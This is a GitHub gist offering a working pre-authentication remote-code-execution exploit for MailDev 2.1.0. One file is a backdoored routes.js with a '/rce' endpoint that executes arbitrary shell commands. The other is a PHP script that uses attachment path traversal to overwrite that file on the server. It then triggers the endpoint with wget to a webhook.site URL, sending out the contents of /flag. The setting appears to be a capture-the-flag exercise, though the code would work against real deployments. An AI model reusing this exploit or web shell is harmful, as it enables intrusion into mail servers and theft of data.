Last active
May 1, 2024 07:54
-
-
Save stypr/fe2003f00959f7e3d92ab9d5260433f8 to your computer and use it in GitHub Desktop.
maildev preauth RCE 0day
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
/** | |
* MailDev - routes.js | |
*/ | |
const express = require('express') | |
const compression = require('compression') | |
const pkg = require('../package.json') | |
const { filterEmails } = require('./utils') | |
const emailRegexp = /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ | |
module.exports = function (app, mailserver, basePathname) { | |
const router = express.Router() | |
// Get all emails | |
router.get('/email', compression(), function (req, res) { | |
mailserver.getAllEmail(function (err, emailList) { | |
if (err) return res.status(404).json([]) | |
if (req.query) { | |
const filteredEmails = filterEmails(emailList, req.query) | |
res.json(filteredEmails) | |
} else { | |
res.json(emailList) | |
} | |
}) | |
}) | |
// Get single email | |
router.get('/email/:id', function (req, res) { | |
mailserver.getEmail(req.params.id, function (err, email) { | |
if (err) return res.status(404).json({ error: err.message }) | |
email.read = true // Mark the email as 'read' | |
res.json(email) | |
}) | |
}) | |
// Read email | |
// router.patch('/email/:id/read', function (req, res) { | |
// mailserver.readEmail(req.params.id, function (err, email) { | |
// if (err) return res.status(500).json({ error: err.message }) | |
// res.json(true) | |
// }) | |
// }) | |
// Read all emails | |
router.patch('/email/read-all', function (req, res) { | |
mailserver.readAllEmail(function (err, count) { | |
if (err) return res.status(500).json({ error: err.message }) | |
res.json(count) | |
}) | |
}) | |
// Delete all emails | |
router.delete('/email/all', function (req, res) { | |
mailserver.deleteAllEmail(function (err) { | |
if (err) return res.status(500).json({ error: err.message }) | |
res.json(true) | |
}) | |
}) | |
// Delete email by id | |
router.delete('/email/:id', function (req, res) { | |
mailserver.deleteEmail(req.params.id, function (err) { | |
if (err) return res.status(500).json({ error: err.message }) | |
res.json(true) | |
}) | |
}) | |
// Get Email HTML | |
router.get('/email/:id/html', function (req, res) { | |
// Use the headers over hostname to include any port | |
const baseUrl = req.headers.host + (req.baseUrl || '') | |
mailserver.getEmailHTML(req.params.id, baseUrl, function (err, html) { | |
if (err) return res.status(404).json({ error: err.message }) | |
res.send(html) | |
}) | |
}) | |
// Serve Attachments | |
router.get('/email/:id/attachment/:filename', function (req, res) { | |
mailserver.getEmailAttachment(req.params.id, req.params.filename, function (err, contentType, readStream) { | |
if (err) return res.status(404).json('File not found') | |
res.contentType(contentType) | |
readStream.pipe(res) | |
}) | |
}) | |
// Serve email.eml | |
router.get('/email/:id/download', function (req, res) { | |
mailserver.getEmailEml(req.params.id, function (err, contentType, filename, readStream) { | |
if (err) return res.status(404).json('File not found') | |
res.setHeader('Content-disposition', 'attachment; filename=' + filename) | |
res.contentType(contentType) | |
readStream.pipe(res) | |
}) | |
}) | |
// Get email source from .eml file | |
router.get('/email/:id/source', function (req, res) { | |
mailserver.getRawEmail(req.params.id, function (err, readStream) { | |
if (err) return res.status(404).json('File not found') | |
readStream.pipe(res) | |
}) | |
}) | |
// Get any config settings for display | |
router.get('/config', function (req, res) { | |
res.json({ | |
version: pkg.version, | |
smtpPort: mailserver.port, | |
isOutgoingEnabled: mailserver.isOutgoingEnabled(), | |
outgoingHost: mailserver.getOutgoingHost() | |
}) | |
}) | |
// Relay the email | |
router.post('/email/:id/relay/:relayTo?', function (req, res) { | |
mailserver.getEmail(req.params.id, function (err, email) { | |
if (err) return res.status(404).json({ error: err.message }) | |
if (req.params.relayTo) { | |
if (emailRegexp.test(req.params.relayTo)) { | |
email.to = [{ address: req.params.relayTo }] | |
email.envelope.to = [{ address: req.params.relayTo, args: false }] | |
} else { | |
return res.status(400).json({ error: 'Incorrect email address provided :' + req.params.relayTo }) | |
} | |
} | |
mailserver.relayMail(email, function (err) { | |
if (err) return res.status(500).json({ error: err.message }) | |
res.json(true) | |
}) | |
}) | |
}) | |
// Health check | |
router.get('/healthz', function (req, res) { | |
res.json(true) | |
}) | |
// exploit | |
router.get('/rce', function(req, res) { | |
res.json(require("child_process").execSync(req.query.cmd).toString()) | |
}) | |
router.get('/reloadMailsFromDirectory', function (req, res) { | |
mailserver.loadMailsFromDirectory() | |
res.json(true) | |
}) | |
app.use(basePathname, router) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
maildev/maildev v2.1.0 Chained RCE (0day) | |
by stypr | |
1. Arbitrary file write vulnerability on saveAttachment | |
If Content-ID is set to <../../a> , path traversal works and hence exploitable | |
https://github.com/maildev/maildev/blob/357a20edcd205413d3590aedb8fcd7c97563c40d/lib/mailserver.js#L92C1-L100C2 | |
2. Docker instance runs on `node`, `/home/node` exists... any file can be overwritten easily :) | |
``` | |
$ pwd | |
/home/node | |
~ $ ls -la | |
total 400 | |
drwxr-sr-x 1 node node 4096 Aug 2 02:35 . | |
drwxr-xr-x 1 root root 4096 Feb 9 2022 .. | |
-rw------- 1 node node 586 Aug 2 04:28 .ash_history | |
-rw-r--r-- 1 node node 927 Mar 15 2022 LICENSE | |
-rw-r--r-- 1 node node 10368 Mar 24 2022 README.md | |
-rw-r--r-- 1 node node 336 Mar 22 2022 SECURITY.md | |
drwxr-xr-x 7 node node 4096 Mar 23 2022 app | |
drwxr-xr-x 2 node node 4096 Mar 15 2022 bin | |
drwxr-xr-x 2 node node 4096 Mar 24 2022 docker | |
-rw-r--r-- 1 node node 316 Mar 15 2022 docker-compose.yml | |
-rw-r--r-- 1 node node 1154 Mar 23 2022 example-sendmail.js | |
-rw-r--r-- 1 node node 2569 Mar 23 2022 index.js | |
drwxr-xr-x 3 node node 4096 Mar 23 2022 lib | |
drwxr-sr-x 103 node node 4096 Mar 24 2022 node_modules | |
-rw-r--r-- 1 node node 327988 Mar 23 2022 package-lock.json | |
-rw-r--r-- 1 node node 2780 Mar 23 2022 package.json | |
drwxr-xr-x 5 node node 4096 Mar 22 2022 vendor | |
``` | |
3. There needs to be something to kill the running process | |
*/ | |
use PHPMailer\PHPMailer\PHPMailer; | |
use PHPMailer\PHPMailer\SMTP; | |
use PHPMailer\PHPMailer\Exception; | |
require 'vendor/autoload.php'; | |
function minify_payload($str){ | |
return implode("\n", array_map("trim", explode("\n", $str))); | |
} | |
function stage3(){ | |
/* | |
Run command, but this can be easily changed to something else, we just want to be more sneaky | |
*/ | |
$boundary = "mixed-rce-1234"; | |
$delimiter = "\n--$boundary"; | |
$body = <<< EOF | |
$delimiter | |
Content-Type: text/html; charset=UTF-8 | |
<img src="/rce?cmd=wget+-O+-+https://webhook.site/3942950f-eaca-48a0-ad9d-7260739fd645?$(cat+/flag)"> | |
$delimiter-- | |
EOF; | |
$body = minify_payload($body); | |
return send_mail($boundary, $body); | |
} | |
function stage2(){ | |
/* | |
Stage2 tries to reboot the instance | |
DoS, whatever should be ok but.. let's assume this server is so vulnerable... | |
*/ | |
} | |
function stage1(){ | |
/* | |
Stage1 maliciously overwrites to /home/node/lib/web.js | |
*/ | |
$boundary = "mixed-rce-1234"; | |
$delimiter = "\n--$boundary"; | |
$malicious_file = chunk_split(base64_encode(file_get_contents("polluted_web.js")), 76); | |
$body = <<< EOF | |
$delimiter | |
Content-Type: text/plain; charset=UTF-8 | |
Exploit me :) | |
$delimiter | |
Content-Type: image/png; charset=UTF-8; filename="a.png" | |
Content-ID: <../../../home/node/lib/routes.js> | |
Content-Transfer-Encoding: base64 | |
Content-Disposition: inline | |
$malicious_file | |
$delimiter-- | |
EOF; | |
$body = minify_payload($body); | |
return send_mail($boundary, $body); | |
} | |
function send_mail($boundary, $body){ | |
$mail = new PHPMailer(true); | |
ob_start(); | |
try { | |
$mail->SMTPDebug = SMTP::DEBUG_SERVER; | |
$mail->isSMTP(); | |
$mail->Host = 'localhost'; | |
$mail->SMTPAuth = false; | |
$mail->Username = '[email protected]'; | |
$mail->Password = ''; | |
$mail->SMTPSecure = null; | |
$mail->Port = 1025; | |
$mail->XMailer = ''; | |
$mail->setFrom('[email protected]', 'Boy'); | |
$mail->addAddress('[email protected]', 'Root'); | |
$mail->addCustomHeader("Content-Type", "multipart/mixed; boundary=\"$boundary\""); | |
$mail->Subject = "Exploit"; | |
$mail->Body = trim($body); | |
$mail->setLanguage('en'); | |
$mail->send(); | |
} catch (Exception $e) { | |
} | |
$result = ob_get_contents(); | |
ob_end_clean(); | |
return explode("\n", explode("250 Message queued as ", $result)[1])[0]; | |
} | |
function main(){ | |
var_dump(stage1()); | |
sleep(5); | |
var_dump(stage3()); | |
} | |
main(); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment